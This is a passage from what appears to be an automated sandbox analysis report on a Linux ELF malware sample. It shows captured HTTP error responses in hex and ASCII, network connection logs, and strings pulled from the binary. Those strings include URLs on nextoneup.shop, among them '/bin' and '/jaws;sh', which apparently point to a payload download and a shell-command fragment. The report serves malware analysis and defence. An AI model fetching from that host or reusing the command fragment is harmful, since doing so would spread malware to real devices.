6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: CJServer/1.1Set-Cookie: JSESSIONID=E3C887D38E1423CD4664E0534F1B5005; Path=/; HttpOnlyContent-Type: text/html;charset=ISO-8859-1Transfer-Encoding: chunkedVary: Accept-EncodingDate: Sun, 14 Apr 2024 02:01:48 GMTData Raw: 31 39 65 0d 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 74 79 6c 65 3e 20 61 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 46 46 3b 20 7d 3c 2f 73 74 79 6c 65 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 45 72 72 6f 72 3c 2f 70 3e 0a 3c 70 3e 0a 0a 0a 0a 3c 2f 70 3e 0a 3c 74 61 62 6c 65 3e 0a 3c 74 72 3e 0a 3c 74 64 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 3d 27 42 61 63 6b 27 20 6f 6e 63 6c 69 63 6b 3d 22 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 3b 6a 73 65 73 73 69 6f 6e 69 64 3d 45 33 43 38 38 37 44 33 38 45 31 34 32 33 43 44 34 36 36 34 45 30 35 33 34 46 31 42 35 30 30 35 27 22 2f 3e 0a 3c 2f 74 64 3e 0a 3c 74 64 3e 0a 0a 3c 61 20 68 72 65 66 3d 22 2f 7e 72 65 6c 70 61 74 68 2f 3b 6a 73 65 73 73 69 6f 6e 69 64 3d 45 33 43 38 38 37 44 33 38 45 31 34 32 33 43 44 34 36 36 34 45 30 35 33 34 46 31 42 35 30 30 35 3f 26 61 6d 70 3b 70 61 67 65 3d 2f 5f 63 6f 6d 6d 6f 6e 2f 73 65 72 76 6c 65 74 2f 77 61 70 2f 6f 70 74 69 6f 6e 73 26 61 6d 70 3b 6f 70 74 69 6f 6e 74 79 70 65 3d 6d 65 6e 75 22 3e 4d 65 6e 75 3c 2f 61 3e 0a 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 19e<html><body><style> a { color: #0000FF; }</style><p align="center">Error</p><p></p><table><tr><td><input type="button" value='Back' onclick="document.location='/;jsessionid=E3C887D38E1423CD4664E0534F1B5005'"/></td><td><a href="/~relpath/;jsessionid=E3C887D38E1423CD4664E0534F1B5005?&page=/_common/servlet/wap/options&optiontype=menu">Menu</a></td></tr></table></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:49 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Content-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 18:02:18 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenTransfer-Encoding: chunkedServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:01:49 GMTData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 18:02:23 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:51 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden: Access is denied.Content-Type: text/htmlDate: Sun, 14 Apr 2024 02:01:51 GMTConnection: closeContent-Length: 1233Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 2d 20 46 6f 72 62 69 64 64 65 6e 3a 20 41 63 63 65 73 73 20 69 73 20 64 65 6e 69 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:58 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:53 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveContent-Length: 109Date: Sun, 14 Apr 2024 02:01:53 GMTExpires: 0Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:53 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:54 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 18:02:23 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:55 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 337Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 4c 31 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTL1</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 18:02:27 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 18:02:18 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Source: N1msxMZ5Il.elf	String found in binary or memory: http://nextoneup.shop/
Source: N1msxMZ5Il.elf	String found in binary or memory: http://nextoneup.shop/bin
Source: N1msxMZ5Il.elf	String found in binary or memory: http://nextoneup.shop/jaws;sh
Source: N1msxMZ5Il.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: N1msxMZ5Il.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52916
Source: unknown	Network traffic detected: HTTP traffic on port 43996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59556
Source: unknown	Network traffic detected: HTTP traffic on port 38208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47558
Source: unknown	Network traffic detected: HTTP traffic on port 33678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47554
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52926
Source: unknown	Network traffic detected: HTTP traffic on port 52862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34236
Source: unknown	Network traffic detected: HTTP traffic on port 60266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40914
Source: unknown	Network traffic detected: HTTP traffic on port 45088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44036
Source: unknown	Network traffic detected: HTTP traffic on port 32856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46696
Source: unknown	Network traffic detected: HTTP traffic on port 57416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50758
Source: unknown	Network traffic detected: HTTP traffic on port 52920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40908
Source: unknown	Network traffic detected: HTTP traffic on port 33012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35560
Source: unknown	Network traffic detected: HTTP traffic on port 59036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59574
Source: unknown	Network traffic detected: HTTP traffic on port 45408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48868
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46682
Source: unknown	Network traffic detected: HTTP traffic on port 48468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34218
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 37112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46278
